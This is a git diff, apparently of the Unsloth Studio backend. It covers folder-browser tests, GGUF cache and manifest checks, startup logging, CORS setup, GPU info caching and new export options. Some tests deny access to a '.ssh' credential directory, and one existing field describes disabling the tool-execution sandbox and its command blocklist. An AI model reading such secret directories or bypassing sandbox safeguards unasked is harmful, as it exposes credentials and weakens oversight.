     assert exc_info.value.status_code == 403
 
 
+def test_resolve_browse_target_rejects_sensitive_root(tmp_path):
+    ssh = tmp_path / "home" / ".ssh"
+    ssh.mkdir(parents = True)
+
+    with pytest.raises(HTTPException) as exc_info:
+        folder_browser._resolve_browse_target(str(ssh), [ssh])
+
+    assert exc_info.value.status_code == 403
+
+
 def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
     home = tmp_path / "home"
     (home / ".ssh").mkdir(parents = True)
@@ -181,6 +191,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
     assert ".ssh" not in names
 
 
+def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
+    home = tmp_path / "home"
+    media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
+    model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
+    home.mkdir()
+    model_dir.mkdir(parents = True)
+    monkeypatch.setattr(folder_browser.Path, "home", lambda: home)
+    monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root])
+    monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf")
+    monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: [])
+    monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: [])
+
+    allowlist = folder_browser._build_browse_allowlist()
+
+    assert media_root.resolve() in allowlist
+    assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve()
+
+
 def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path):
     # The endpoint creates the cache dir on demand so the desktop "Open folder"
     # action works even before the first download.
@@ -1632,6 +1660,34 @@ def test_variant_partial_accepts_variant_filtered_legacy_hashes(monkeypatch, tmp
     )
 
 
+def test_variant_partial_accepts_completed_variant_in_non_latest_snapshot(monkeypatch, tmp_path):
+    """A verified GGUF update can prune an older snapshot and make that old
+    directory the newest by mtime. The variant is still complete when another
+    snapshot satisfies its manifest."""
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    repo_dir = tmp_path / "cache" / "models--Org--Repo"
+    old_snapshot = repo_dir / "snapshots" / "old"
+    new_snapshot = repo_dir / "snapshots" / "new"
+    old_snapshot.mkdir(parents = True)
+    new_snapshot.mkdir(parents = True)
+    (old_snapshot / "model-Q8_0.gguf").write_bytes(b"sibling")
+    (new_snapshot / "model-Q4_K_M.gguf").write_bytes(b"new")
+    assert download_manifest.write_manifest(
+        "model",
+        "Org/Repo",
+        "Q4_K_M",
+        [download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 3)],
+        "http",
+    )
+
+    assert not inventory_scan.is_variant_partial(
+        "Org/Repo",
+        "Q4_K_M",
+        snapshot_dir = old_snapshot,
+        repo_cache_dir = repo_dir,
+    )
+
+
 def test_gguf_variants_partial_marker_overrides_size_only_downloaded(monkeypatch, tmp_path):
     async def _run_inline(fn, *args, **kwargs):
         return fn(*args, **kwargs)
diff --git a/studio/backend/hub/utils/gguf.py b/studio/backend/hub/utils/gguf.py
index acd650bf42..2e3de125f1 100644
--- a/studio/backend/hub/utils/gguf.py
+++ b/studio/backend/hub/utils/gguf.py
@@ -276,6 +276,33 @@ def iter_hf_cache_snapshots(repo_id: str):
     yield from snapshots
 
 
+def list_empty_gguf_variant_dirs(repo_id: str) -> set[str]:
+    """Quant labels present only as an EMPTY snapshot ``<quant>/`` folder (an
+    interrupted split download); a quant with shards in any snapshot is excluded."""
+    empty: dict[str, str] = {}
+    nonempty: set[str] = set()
+    for snapshot in iter_hf_cache_snapshots(repo_id):
+        try:
+            entries = list(snapshot.iterdir())
+        except OSError:
+            continue
+        for sub in entries:
+            try:
+                if sub.is_symlink() or not sub.is_dir():
+                    continue
+                quant = extract_quant_token(sub.name)
+                if not quant:
+                    continue
+                has_child = any(sub.iterdir())
+            except OSError:
+                continue
+            if has_child:
+                nonempty.add(quant.lower())
+            else:
+                empty.setdefault(quant.lower(), quant)
+    return {label for key, label in empty.items() if key not in nonempty}
+
+
 def list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]:
     for snapshot in iter_hf_cache_snapshots(repo_id):
         variants, has_vision = list_local_gguf_variants(str(snapshot))
diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py
index 40d5a32549..2abdb0fb79 100644
--- a/studio/backend/hub/utils/gguf_plan.py
+++ b/studio/backend/hub/utils/gguf_plan.py
@@ -36,7 +36,10 @@ def sibling_sha256(sibling) -> Optional[str]:
         value = lfs.get("sha256")
     else:
         value = getattr(lfs, "sha256", None)
-    return value if isinstance(value, str) and value else None
+    if isinstance(value, str) and value:
+        return value
+    blob_id = getattr(sibling, "blob_id", None)
+    return blob_id if isinstance(blob_id, str) and blob_id else None
 
 
 def sibling_size(sibling) -> int:
diff --git a/studio/backend/hub/utils/inventory_scan.py b/studio/backend/hub/utils/inventory_scan.py
index 0f7ce6fe34..57ad7f6655 100644
--- a/studio/backend/hub/utils/inventory_scan.py
+++ b/studio/backend/hub/utils/inventory_scan.py
@@ -387,9 +387,55 @@ def _manifest_partial(
     )
     if resolved is None:
         return True
+    if repo_type == "model" and variant is not None:
+        if download_manifest.verify_against_disk(manifest, resolved).ok:
+            return False
+        for candidate in _manifest_snapshot_dirs(repo_type, repo_id, repo_cache_dir):
+            if candidate == resolved:
+                continue
+            if download_manifest.verify_against_disk(manifest, candidate).ok:
+                return False
+        return True
     return not download_manifest.verify_against_disk(manifest, resolved).ok
 
 
+def _manifest_snapshot_dirs(
+    repo_type: RepoType,
+    repo_id: str,
+    repo_cache_dir: Optional[Path] = None,
+) -> list[Path]:
+    repo_dirs = (
+        [repo_cache_dir]
+        if repo_cache_dir is not None
+        else list(iter_repo_cache_dirs(repo_type, repo_id))
+    )
+    snapshots: list[Path] = []
+    seen: set[str] = set()
+    for repo_dir in repo_dirs:
+        if repo_dir is None:
+            continue
+        snapshots_dir = repo_dir / "snapshots"
+        try:
+            if not snapshots_dir.is_dir():
+                continue
+            entries = list(snapshots_dir.iterdir())
+        except OSError:
+            continue
+        for entry in entries:
+            try:
+                if not entry.is_dir():
+                    continue
+                resolved = entry.resolve()
+            except OSError:
+                continue
+            key = str(resolved)
+            if key in seen:
+                continue
+            seen.add(key)
+            snapshots.append(resolved)
+    return snapshots
+
+
 def is_snapshot_partial(
     repo_type: RepoType,
     repo_id: str,
diff --git a/studio/backend/hub/workers/hf_download.py b/studio/backend/hub/workers/hf_download.py
index 42a8ca52b3..e45357d311 100644
--- a/studio/backend/hub/workers/hf_download.py
+++ b/studio/backend/hub/workers/hf_download.py
@@ -653,6 +653,21 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, mod
         snapshot_path,
         metadata_unavailable = metadata_unavailable,
     )
+    if plan is not None:
+        try:
+            from hub.services.models.deletion import reclaim_replaced_gguf_variant
+            reclaim_replaced_gguf_variant(
+                repo_id,
+                variant,
+                plan.main_hashes,
+                hf_token,
+            )
+        except Exception as e:
+            print(
+                f"Verified GGUF update for {repo_id} [{variant}], but stale-cache "
+                f"reclaim failed ({type(e).__name__}: {e})",
+                file = sys.stderr,
+            )
 
 
 def _download_dataset(repo_id: str, hf_token: str | None, mode: str) -> None:
diff --git a/studio/backend/main.py b/studio/backend/main.py
index 017e78fb35..8762c43195 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -12,6 +12,8 @@ from pathlib import Path as _Path
 import asyncio
 from dataclasses import asdict
 
+from typing import Any, Optional
+
 # Suppress C-level dependency warnings globally
 os.environ["PYTHONWARNINGS"] = "ignore"
 
@@ -24,6 +26,22 @@ os.environ["PYTHONWARNINGS"] = "ignore"
 # process is covered before its heavy ML imports.
 os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
 
+# Windows terminals default to the active system code page. Reconfigure
+# stdout/stderr before the startup banner so non-ASCII output cannot crash the
+# backend process.
+if sys.platform == "win32":
+    for _win_stream in (sys.stdout, sys.stderr):
+        if _win_stream is not None and hasattr(_win_stream, "reconfigure"):
+            try:
+                _win_stream.reconfigure(encoding = "utf-8", errors = "replace")
+            except Exception:
+                pass
+    del _win_stream
+
+_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0
+_system_gpu_cache_lock = threading.Lock()
+_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None
+
 # ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
 # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
 # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
@@ -214,7 +232,6 @@ import shutil
 import warnings
 from contextlib import asynccontextmanager
 from importlib.metadata import PackageNotFoundError, version as package_version
-from typing import Optional
 from urllib.parse import urlparse
 
 
@@ -282,6 +299,7 @@ from routes import (
     training_router,
 )
 from routes.llama import router as llama_router
+from routes.preview import router as preview_router
 from hub.routes import (
     inventory_router as hub_inventory_router,
     datasets_router as hub_datasets_router,
@@ -440,9 +458,30 @@ def _start_llama_cpp_probes_if_enabled(app: FastAPI) -> None:
     ).start()
 
 
+def _warm_rag_embedder() -> None:
+    """Warm RAG embeddings without blocking backend readiness."""
+    try:
+        from storage import rag_db
+
+        if not rag_db.RAG_AVAILABLE:
+            return
+        from core.rag import embeddings
+
+        embeddings.warm()
+    except Exception:
+        pass
+
+
 @asynccontextmanager
 async def lifespan(app: FastAPI):
     """Startup: detect hardware, seed default admin if needed. Shutdown: clean up compiled cache."""
+
+    import time as _time
+
+    _lifespan_started = _time.perf_counter()
+    import structlog as _structlog
+
+    _lifespan_log = _structlog.get_logger(__name__)
     clear_unsloth_compiled_cache()
 
     # Remove stale .venv_overlay from old versions; switching now uses .venv_t5/.
@@ -453,6 +492,11 @@ async def lifespan(app: FastAPI):
     # Detect hardware first — sets the DEVICE global used everywhere.
     detect_hardware()
 
+    _lifespan_log.info(
+        "lifespan hardware detection completed in %.1fms",
+        (_time.perf_counter() - _lifespan_started) * 1000,
+    )
+
     # Apple Silicon with MLX missing => Train/Export are greyed out (chat-only).
     # Reinstall mlx by name on a background thread (off the critical path) and
     # re-detect, so a reinstall/update that dropped mlx self-heals. No-op
@@ -464,7 +508,13 @@ async def lifespan(app: FastAPI):
         import structlog as _structlog
         _structlog.get_logger(__name__).debug("mlx autorepair skipped: %s", _mlx_exc)
 
-    # Reap download workers orphaned by a previous crash before new downloads start.
+    # Reap workers/runs orphaned by a previous crash before new work starts.
+    try:
+        from storage.studio_db import cleanup_orphaned_runs
+        cleanup_orphaned_runs()
+    except Exception as exc:
+        _lifespan_log.warning("cleanup_orphaned_runs failed at startup: %s", exc)
+
     reap_hub_orphan_workers()
 
     # llama.cpp probes: capability (MTP support) + freshness (release age).
@@ -478,35 +528,28 @@ async def lifespan(app: FastAPI):
     app.state.llama_cpp_freshness = None
     _start_llama_cpp_probes_if_enabled(app)
 
-    from storage.studio_db import cleanup_orphaned_runs
-
     try:
-        cleanup_orphaned_runs()
+        from storage.rag_db import reconcile_orphaned_ingestion_jobs
+        reconcile_orphaned_ingestion_jobs()
     except Exception as exc:
-        import structlog
-        structlog.get_logger(__name__).warning("cleanup_orphaned_runs failed at startup: %s", exc)
+        _lifespan_log.warning("reconcile_orphaned_ingestion_jobs failed at startup: %s", exc)
 
     _start_helper_precache_if_enabled()
+    threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start()
 
-    # Warm the RAG embedder so the first upload skips the cold load. Non-fatal.
-    def _warm_rag_embedder():
-        try:
-            from storage import rag_db
+    # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set).
+    from core.inference.llama_keepwarm import idle_unload_loop
 
-            if not rag_db.RAG_AVAILABLE:
-                return
-            from core.rag import embeddings
+    app.state.idle_unload_task = asyncio.create_task(idle_unload_loop())
 
-            embeddings.warm()
-        except Exception:
-            pass
-
-    threading.Thread(target = _warm_rag_embedder, daemon = True).start()
-
-    # Initialize RSA key pair for API key encryption (external providers)
+    # Initialize RSA key pair for API key encryption (external providers).
     from core.inference.key_exchange import init_key_pair
 
     init_key_pair()
+    _lifespan_log.info(
+        "lifespan pre-auth setup completed in %.1fms",
+        (_time.perf_counter() - _lifespan_started) * 1000,
+    )
 
     if storage.ensure_default_admin():
         bootstrap_pw = storage.get_bootstrap_password()
@@ -521,8 +564,21 @@ async def lifespan(app: FastAPI):
         print("=" * 60 + "\n")
     else:
         app.state.bootstrap_password = storage.get_bootstrap_password()
+
+    _lifespan_log.info(
+        "lifespan startup completed in %.1fms",
+        (_time.perf_counter() - _lifespan_started) * 1000,
+    )
     yield
 
+    _idle_task = getattr(app.state, "idle_unload_task", None)
+    if _idle_task is not None:
+        _idle_task.cancel()
+        try:
+            await _idle_task
+        except asyncio.CancelledError:
+            pass
+
     from core.inference.llama_http import aclose as _close_llama_http
 
     await _close_llama_http()
@@ -672,6 +728,7 @@ from utils.upload_limits import (  # noqa: E402
 _BODY_PROTECTED_PREFIXES = (
     "/v1/chat/completions",
     "/v1/completions",
+    "/p/",
     "/api/inference",
     "/api/data-recipe",
     "/api/datasets",
@@ -844,6 +901,11 @@ app.add_middleware(
     upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes,
 )
 
+# Tracks in-flight inference requests for idle auto-unload; off -> passthrough.
+from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware  # noqa: E402
+
+app.add_middleware(LlamaKeepWarmMiddleware)
+
 
 from starlette.responses import RedirectResponse as _RedirectResponse  # noqa: E402
 
@@ -855,24 +917,16 @@ async def _recipes_redirect(rest: str = ""):
     return _RedirectResponse(url = target, status_code = 308)
 
 
-_api_only = os.environ.get("UNSLOTH_API_ONLY") == "1"
-_cors_origins = ["*"]
-if _api_only:
-    _cors_origins = [
-        "tauri://localhost",  # Linux/macOS Tauri webview
-        "http://tauri.localhost",  # Windows Tauri webview
-        "http://localhost",  # dev fallback
-        "http://localhost:5173",  # Tauri dev/Vite
-        "http://127.0.0.1:5173",  # Tauri dev/Vite fallback
-    ]
-    _cors_origin_regex = None
-else:
-    _cors_origin_regex = None
+from utils.host_policy import cors_origins_for_mode  # noqa: E402
+
+_cors_origins = cors_origins_for_mode(
+    api_only = os.environ.get("UNSLOTH_API_ONLY") == "1",
+    secure = os.environ.get("UNSLOTH_SECURE") == "1",
+)
 
 app.add_middleware(
     CORSMiddleware,
     allow_origins = _cors_origins,
-    allow_origin_regex = _cors_origin_regex,
     allow_credentials = True,
     allow_methods = ["*"],
     allow_headers = ["*"],
@@ -893,6 +947,7 @@ app.include_router(inference_studio_router, prefix = "/api/inference", tags = ["
 
 # OpenAI-compatible: mount the inference router at /v1 for external tools.
 app.include_router(inference_router, prefix = "/v1", tags = ["openai-compat"])
+app.include_router(preview_router, prefix = "/p", tags = ["preview"])
 app.include_router(providers_router, prefix = "/api/providers", tags = ["providers"])
 app.include_router(settings_router, prefix = "/api/settings", tags = ["settings"])
 app.include_router(mcp_servers_router, prefix = "/api/mcp/servers", tags = ["mcp"])
@@ -914,6 +969,21 @@ install_api_error_handlers(app)
 # ============ Health and System Endpoints ============
 
 
+@app.get("/api/liveness")
+async def liveness_check():
+    """Cheap process liveness for desktop port validation."""
+    return {
+        "status": "alive",
+        "service": "Unsloth UI Backend",
+        "desktop_protocol_version": 1,
+        "desktop_manageability_version": 1,
+        "supports_desktop_auth": True,
+        "supports_desktop_backend_ownership": True,
+        "studio_root_id": _studio_root_id(),
+        **({"desktop_owner": owner} if (owner := _desktop_owner()) else {}),
+    }
+
+
 @app.get("/api/health")
 async def health_check(request: Request):
     """Liveness plus launcher capability bits; host fingerprint gated on a bearer.
@@ -1013,8 +1083,57 @@ async def shutdown_server(request: Request, current_subject: str = Depends(get_c
     return {"status": "shutting_down"}
 
 
+def _get_cached_system_gpu_info(logger) -> dict[str, Any]:
+    """Return merged GPU visibility/utilization with bounded live-probe churn."""
+    import time
+    from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization
+
+    global _system_gpu_cache
+    now = time.monotonic()
+    with _system_gpu_cache_lock:
+        if _system_gpu_cache is not None:
+            cached_at, cached_gpu_info = _system_gpu_cache
+            if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS:
+                return cached_gpu_info
+
+        try:
+            visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []}
+        except Exception as e:
+            logger.debug(f"Failed to get GPU visibility info: {e}")
+            visibility_info = {"available": False, "devices": []}
+
+        try:
+            utilization_info = get_visible_gpu_utilization() or {"devices": []}
+        except Exception as e:
+            logger.debug(f"Failed to get GPU utilization info: {e}")
+            utilization_info = {"devices": []}
+
+        util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])}
+        enriched_devices = []
+
+        for dev in visibility_info.get("devices", []):
+            idx = dev.get("index")
+            util = util_devices.get(idx, {})
+
+            total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0
+            used_vram = util.get("vram_used_gb") or 0
+
+            enriched_dev = dict(dev)
+            enriched_dev["vram_used_gb"] = used_vram
+            enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0
+            enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct")
+            enriched_devices.append(enriched_dev)
+
+        gpu_info = {
+            "available": visibility_info.get("available", False),
+            "devices": enriched_devices,
+        }
+        _system_gpu_cache = (time.monotonic(), gpu_info)
+        return gpu_info
+
+
 @app.get("/api/system")
-async def get_system_info(current_subject: str = Depends(get_current_subject)):
+def get_system_info(current_subject: str = Depends(get_current_subject)):
     """Get system information.
 
     Auth-gated: the response (platform, Python/GPU, memory, ML packages) can
@@ -1023,31 +1142,84 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)):
     """
     import platform
     import psutil
-    from utils.hardware import get_device
+    import os
+    import time
+    import logging
+    from utils.hardware import get_device, export_capability
     from utils.hardware.hardware import _backend_label
 
-    visibility_info = get_backend_visible_gpu_info()
-    gpu_info = {
-        "available": visibility_info["available"],
-        "devices": visibility_info["devices"],
-    }
+    logger = logging.getLogger(__name__)
+
+    gpu_info = _get_cached_system_gpu_info(logger)
 
-    # CPU & Memory
     memory = psutil.virtual_memory()
 
+    try:
+        cpu_freq = psutil.cpu_freq()
+    except Exception as e:
+        logger.debug(f"Failed to get CPU frequency: {e}")
+        cpu_freq = None
+
+    try:
+        disk = psutil.disk_usage(os.path.abspath(os.sep))
+    except Exception as e:
+        logger.debug(f"Failed to get disk usage: {e}")
+        disk = None
+
+    try:
+        current_process = psutil.Process(os.getpid())
+        process_used_mb = round(current_process.memory_info().rss / 1024**2)
+    except Exception as e:
+        logger.debug(f"Failed to get current process memory: {e}")
+        process_used_mb = 0
+
+    try:
+        boot_time = psutil.boot_time()
+    except Exception as e:
+        logger.debug(f"Failed to get boot time: {e}")
+        boot_time = None
+
+    # Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors).
+    from importlib.metadata import PackageNotFoundError, version as pkg_version
+
+    ml_packages = {}
+    for pkg in ("torch", "transformers"):
+        try:
+            ml_packages[pkg] = pkg_version(pkg)
+        except PackageNotFoundError:
+            pass
+        except Exception as e:
+            logger.debug(f"Failed to read {pkg} version: {e}")
+
     return {
         "platform": platform.platform(),
         "python_version": platform.python_version(),
-        # _backend_label so /api/system reports "rocm" (not "cuda") on AMD,
-        # matching /api/hardware and /api/gpu-visibility.
         "device_backend": _backend_label(get_device()),
-        "cpu_count": psutil.cpu_count(),
+        "cpu_count": psutil.cpu_count(logical = True),
+        "uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None,
+        "cpu": {
+            "logical_count": psutil.cpu_count(logical = True),
+            "physical_count": psutil.cpu_count(logical = False),
+            "usage_percent": psutil.cpu_percent(interval = None),
+            "frequency_mhz": round(cpu_freq.current, 2)
+            if cpu_freq and cpu_freq.current is not None
+            else None,
+        },
         "memory": {
-            "total_gb": round(memory.total / 1e9, 2),
-            "available_gb": round(memory.available / 1e9, 2),
+            "total_gb": round(memory.total / 1024**3, 2),
+            "available_gb": round(memory.available / 1024**3, 2),
             "percent_used": memory.percent,
+            "process_used_mb": process_used_mb,
+        },
+        "disk": {
+            "total_gb": round(disk.total / 1e9, 2) if disk else 0,
+            "free_gb": round(disk.free / 1e9, 2) if disk else 0,
+            "percent_used": disk.percent if disk else 0,
         },
         "gpu": gpu_info,
+        "ml_packages": ml_packages,
+        # Export capability + torch-aware reason. See /api/system/hardware.
+        **export_capability(),
     }
 
 
@@ -1070,11 +1242,13 @@ def get_hardware_info(
     method auto-selection. Sync def (not async): hardware/detail probes can
     shell out, and FastAPI runs sync endpoints in a threadpool.
     """
-    from utils.hardware import get_gpu_summary, get_package_versions
+    from utils.hardware import get_gpu_summary, get_package_versions, export_capability
 
     body = {
         "gpu": get_gpu_summary(),
         "versions": get_package_versions(),
+        # Export capability + torch-aware reason; the Export UI grays out with the message.
+        **export_capability(),
     }
     if include_details:
         from utils.llama_cpp_update import get_installed_llama_version
diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py
index 1e8e3c4792..9dc4d9451a 100644
--- a/studio/backend/models/export.py
+++ b/studio/backend/models/export.py
@@ -6,7 +6,7 @@
 from pathlib import Path, PureWindowsPath
 
 from pydantic import BaseModel, Field, field_validator
-from typing import List, Optional, Literal, Dict, Any
+from typing import List, Optional, Literal, Dict, Any, Union
 
 
 def _validate_save_directory(value: str) -> str:
@@ -158,9 +158,24 @@ class ExportCommonOptions(BaseModel):
 class ExportMergedModelRequest(ExportCommonOptions):
     """Request for exporting a merged PEFT model."""
 
-    format_type: Literal["16-bit (FP16)", "4-bit (FP4)"] = Field(
+    format_type: Literal[
         "16-bit (FP16)",
-        description = "Export precision / format for the merged model",
+        "4-bit (FP4)",
+        "FP8 (compressed-tensors)",
+        "NVFP4 (compressed-tensors)",
+    ] = Field(
+        "16-bit (FP16)",
+        description = "Export precision / format for the merged model. The compressed-tensors "
+        "options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).",
+    )
+    compressed_method: Optional[str] = Field(
+        None,
+        description = "Optional quantized-export alias. Either a compressed-tensors scheme "
+        "(e.g. 'fp8', 'fp8_static', 'w8a8', 'w4a16', 'mxfp4', 'mxfp8', 'nvfp4' - NVIDIA only) "
+        "from unsloth.save COMPRESSED_EXPORT_SCHEMES, or a portable torchao alias "
+        "('torchao_fp8', 'torchao_int8') from TORCHAO_EXPORT_SCHEMES that needs no NVIDIA GPU. "
+        "When set, it overrides format_type. Lets the export UI expose the full set of formats "
+        "beyond the quick buttons.",
     )
 
 
@@ -183,9 +198,10 @@ class ExportGGUFRequest(BaseModel):
     def _check_save_directory(cls, v):
         return _validate_save_directory(v)
 
-    quantization_method: str = Field(
+    quantization_method: Union[str, List[str]] = Field(
         "Q4_K_M",
-        description = 'GGUF quantization method (e.g. "Q4_K_M")',
+        description = 'GGUF quantization method(s). A single method (e.g. "Q4_K_M") or a list '
+        '(e.g. ["Q4_K_M", "Q8_0"]) to produce multiple GGUFs from one model load.',
     )
     push_to_hub: bool = Field(
         False,
@@ -199,9 +215,27 @@ class ExportGGUFRequest(BaseModel):
         None,
         description = "Hugging Face token for GGUF upload",
     )
+    imatrix: bool = Field(
+        False,
+        description = "Use an importance matrix (auto-downloads the upstream unsloth GGUF "
+        "imatrix). Required for the IQ low-bit quants such as iq2_xxs / iq4_xs.",
+    )
+    imatrix_path: Optional[str] = Field(
+        None,
+        description = "Path to a custom imatrix file; overrides the auto-download when set.",
+    )
 
 
 class ExportLoRAAdapterRequest(ExportCommonOptions):
     """Request for exporting only the LoRA adapter (not merged)."""
 
-    # Uses fields from ExportCommonOptions only
+    gguf: bool = Field(
+        False,
+        description = "If True, also convert the adapter to a GGUF LoRA file "
+        "(llama.cpp convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.",
+    )
+    gguf_outtype: Literal["q8_0", "f16", "bf16", "f32"] = Field(
+        "q8_0",
+        description = "GGUF LoRA output float type (only used when gguf=True). "
+        "Q8_0 falls back to F16 per tensor for dims not divisible by the block size (32).",
+    )
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index b8432f588c..0f27b695fe 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -106,8 +106,7 @@ class LoadRequest(BaseModel):
             "Extra arguments forwarded verbatim to llama-server for GGUF models. "
             "One token per list entry, e.g. ['--top-k', '20', '--seed', '42']. "
             "Studio-managed flags (model identity, port, context length, GPU placement, "
-            "auth, --flash-attn, --no-context-shift, --jinja) are rejected. Ignored for "
-            "non-GGUF models."
+            "auth, UI/server mode) are rejected. Ignored for non-GGUF models."
         ),
     )
 
@@ -178,6 +177,7 @@ class GenerateRequest(BaseModel):
     temperature: float = Field(0.6, ge = 0.0, le = 2.0, description = "Sampling temperature")
     top_p: float = Field(0.95, ge = 0.0, le = 1.0, description = "Top-p sampling")
     top_k: int = Field(20, ge = -1, le = 100, description = "Top-k sampling")
+    min_p: float = Field(0.0, ge = 0.0, le = 1.0, description = "Min-p sampling")
     max_new_tokens: int = Field(2048, ge = 1, le = 4096, description = "Maximum tokens to generate")
     repetition_penalty: float = Field(1.0, ge = 1.0, le = 2.0, description = "Repetition penalty")
     presence_penalty: float = Field(0.0, ge = 0.0, le = 2.0, description = "Presence penalty")
@@ -781,6 +781,16 @@ class ChatCompletionRequest(BaseModel):
         True,
         description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
     )
+    nudge_tool_calls: Optional[bool] = Field(
+        None,
+        description = (
+            "[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the "
+            "model emitted a tool signal that healing could not repair, retry ONCE with "
+            "a short nudge appended (the retry shares the full prompt prefix, so the "
+            "server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips "
+            "the process default."
+        ),
+    )
     context_overflow: Optional[Literal["error", "truncate_middle"]] = Field(
         None,
         description = (
@@ -1102,6 +1112,8 @@ class ChoiceDelta(BaseModel):
 
     role: Optional[str] = None
     content: Optional[str] = None
+    reasoning_content: Optional[str] = None
+    tool_calls: Optional[list[dict]] = None
 
 
 OpenAIFinishReason = Literal["stop", "length", "tool_calls", "content_filter", "function_call"]
@@ -1135,8 +1147,11 @@ class CompletionMessage(BaseModel):
     """The assistant's complete response message."""
 
     role: Literal["assistant"] = "assistant"
-    content: str
+    # ``None`` on a pure tool-call turn (OpenAI content=null); string otherwise.
+    content: Optional[str] = None
     refusal: Optional[str] = None
+    reasoning_content: Optional[str] = None
+    tool_calls: Optional[list[dict]] = None
 
 
 class CompletionChoice(BaseModel):
@@ -1609,6 +1624,14 @@ class AnthropicMessagesRequest(BaseModel):
         False,
         description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
     )
+    auto_heal_tool_calls: Optional[bool] = Field(
+        True,
+        description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).",
+    )
+    nudge_tool_calls: Optional[bool] = Field(
+        None,
+        description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).",
+    )
     model_config = {"extra": "allow"}
 
     @model_validator(mode = "before")
diff --git a/studio/backend/models/models.py b/studio/backend/models/models.py
index 20dea5ec12..54e88fed58 100644
--- a/studio/backend/models/models.py
+++ b/studio/backend/models/models.py
@@ -136,9 +136,13 @@ class GgufVariantDetail(BaseModel):
     filename: str = Field(..., description = "GGUF filename (e.g., 'gemma-3-4b-it-Q4_K_M.gguf')")
     quant: str = Field(..., description = "Quantization label (e.g., 'Q4_K_M')")
     size_bytes: int = Field(0, description = "File size in bytes")
+    download_size_bytes: int = Field(0, description = "Total bytes needed to download this variant")
     downloaded: bool = Field(
         False, description = "Whether this variant is already in the local HF cache"
     )
+    update_available: bool = Field(
+        False, description = "Whether a newer version of this variant is available on HF"
+    )
 
 
 class GgufVariantsResponse(BaseModel):
diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py
index 670d5f911d..ff815a2fa9 100644
--- a/studio/backend/models/training.py
+++ b/studio/backend/models/training.py
@@ -9,6 +9,8 @@ import re
 from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator
 from typing import Any, Optional, List, Dict, Literal
 
+from utils.training_runs import normalize_project_name
+
 
 # ASCII integer, optional single sign. Rejects "++512" and Unicode digits
 # ("５１２") that slip through str.isdigit() + int().
@@ -97,6 +99,11 @@ class TrainingStartRequest(BaseModel):
     model_name: str = Field(
         ..., description = "Model identifier (e.g., 'unsloth/llama-3-8b-bnb-4bit')"
     )
+    project_name: Optional[str] = Field(
+        None,
+        max_length = 80,
+        description = "Optional user-defined project name appended to run folders and shown in history",
+    )
     training_type: Literal["LoRA/QLoRA", "Full Finetuning", "Continued Pretraining"] = Field(
         ...,
         description = "Training type: 'LoRA/QLoRA', 'Full Finetuning', or 'Continued Pretraining'",
@@ -155,6 +162,11 @@ class TrainingStartRequest(BaseModel):
             values.setdefault("train_split", values.pop("split"))
         return values
 
+    @field_validator("project_name")
+    @classmethod
+    def _normalize_project_name(cls, value: Optional[str]) -> Optional[str]:
+        return normalize_project_name(value)
+
     # NOTE: pydantic runs all `mode="after"` validators in definition order. A
     # second one, `_check_steps_or_epochs`, is defined lower in this class; keep
     # these cross-field checks order-independent so the two stay decoupled.
@@ -588,6 +600,7 @@ class TrainingRunSummary(BaseModel):
     id: str
     status: Literal["running", "completed", "stopped", "error"]
     model_name: str
+    project_name: Optional[str] = None
     dataset_name: str
     display_name: Optional[str] = None
     started_at: str
